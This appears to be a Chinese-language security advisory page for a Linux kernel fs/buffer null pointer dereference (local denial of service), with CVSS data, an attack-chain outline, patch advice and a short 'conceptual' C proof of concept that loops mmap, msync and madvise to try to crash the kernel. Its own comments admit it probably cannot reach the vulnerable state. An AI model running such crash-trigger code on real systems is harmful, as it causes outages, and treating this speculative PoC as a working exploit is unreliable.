IPBUF安全漏洞报告
English
CVE-2025-71295 CVSS 5.5 中危

Linux内核fs/buffer模块空指针解引用漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71295
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSNull Pointer DereferenceLocal

漏洞概述

Linux内核fs/buffer模块存在空指针解引用漏洞。当filemap_release_folio()在设置了AS_RELEASE_ALWAYS标志但未定义release_folio操作的映射上调用时,try_to_free_buffers()可能会在没有缓冲区的页面上被调用,导致drop_buffers()引发空指针解引用,进而导致系统崩溃或拒绝服务。

技术细节

该漏洞位于Linux内核的fs/buffer组件中。漏洞触发条件涉及内存管理中的folio释放机制。具体而言,当调用filemap_release_folio()处理一个设置了AS_RELEASE_ALWAYS标志的地址空间映射时,如果该映射未定义release_folio操作,且folio实际上未附加任何缓冲区数据,系统仍会尝试释放资源。此时,try_to_free_buffers()函数会错误地调用drop_buffers(),由于缺少有效的buffer head指针,导致内核访问空指针。攻击者利用此漏洞需要本地低权限,无需用户交互即可触发内核崩溃,影响系统可用性。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限用户访问权限 (AV:L/PR:L)。
STEP 2
步骤2
攻击者执行特定的文件操作或内存压力测试,触发内核调用filemap_release_folio()。
STEP 3
步骤3
在特定配置下(如AS_RELEASE_ALWAYS标志设置但无release_folio操作),内核对无缓冲区的folio调用try_to_free_buffers()。
STEP 4
步骤4
触发空指针解引用,导致内核崩溃 (DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC to trigger the race condition or specific state // Note: Triggering this requires specific kernel state (AS_RELEASE_ALWAYS) // which is usually internal. This is a stress test attempting to hit the path. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> int main() { int fd; void *map; const char *file = "/tmp/test_cve_2025_71295"; // Create a dummy file to map fd = open(file, O_RDWR | O_CREAT, 0666); if (fd < 0) return 1; ftruncate(fd, 4096); // Map the file map = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { close(fd); return 1; } // Force memory pressure or specific operations to invoke release paths // (Real exploitation requires aligning with AS_RELEASE_ALWAYS logic) printf("Attempting to trigger buffer release logic...\n"); // Write to trigger dirtying and potential flush/release paths for(int i=0; i<1000; i++) { *(char*)map = 'A'; msync(map, 4096, MS_SYNC); madvise(map, 4096, MADV_DONTNEED); // Hint kernel to release pages } munmap(map, 4096); close(fd); unlink(file); return 0; }

影响范围

Linux Kernel (Prior to commit 1b111a69a6e33a922622bf9870e4e63fb2b649c8 and other fixes)

防御指南

临时缓解措施
建议尽快应用官方发布的内核补丁,该补丁在try_to_free_buffers()中增加了检查逻辑,当folio没有附加缓冲区时会提前返回并报警,避免空指针解引用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表